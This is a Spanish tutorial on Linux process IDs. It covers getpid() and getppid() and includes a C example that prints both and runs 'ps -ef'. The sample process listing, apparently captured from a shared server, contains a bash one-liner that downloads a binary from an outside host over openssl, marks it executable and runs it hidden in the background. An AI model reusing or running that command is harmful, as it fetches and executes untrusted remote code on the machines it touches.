Procesar informacion
Antes de entrar en el proceso de información, necesitamos saber algunas cosas, como:
¿Qué es un proceso? Un proceso es un programa en ejecución.
¿Qué es un programa? Un programa es un archivo que contiene la información de un proceso y cómo construirlo durante el tiempo de ejecución. Cuando inicia la ejecución del programa, se carga en la RAM y comienza a ejecutarse.
Cada proceso se identifica con un número entero positivo único llamado ID de proceso o simplemente PID (número de identificación de proceso). El kernel generalmente limita el ID del proceso a 32767, que es configurable. Cuando la identificación del proceso alcanza este límite, se restablece nuevamente, que es después del rango de procesos del sistema. Los ID de proceso no utilizados de ese contador se asignan a los procesos recién creados.
La llamada al sistema getpid () devuelve el ID de proceso del proceso de llamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Esta llamada devuelve el ID de proceso del proceso de llamada que se garantiza que es único. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.
Cada proceso tiene su ID único llamado ID de proceso que está bien, pero ¿quién lo creó? ¿Cómo obtener información sobre su creador? El proceso del creador se llama proceso padre. El ID de padre o PPID se puede obtener mediante la llamada getppid ().
La llamada al sistema getppid () devuelve el PID principal del proceso de llamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Esta llamada devuelve el ID de proceso principal del proceso de llamada. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.
Entendamos esto con un ejemplo sencillo.
A continuación se muestra un programa para conocer el PID y PPID del proceso de llamada.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Tras la compilación y ejecución del programa anterior, el resultado será el siguiente.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- El sistema de funciones de la biblioteca "C" () ejecuta un comando de shell. Los argumentos pasados a system () son comandos ejecutados en el shell. En el programa anterior, el comando es "ps", que da el estado del proceso.
Se puede acceder a la información completa sobre todos los procesos en ejecución y otra información relacionada con el sistema desde el sistema de archivos proc disponible en la ubicación / proc.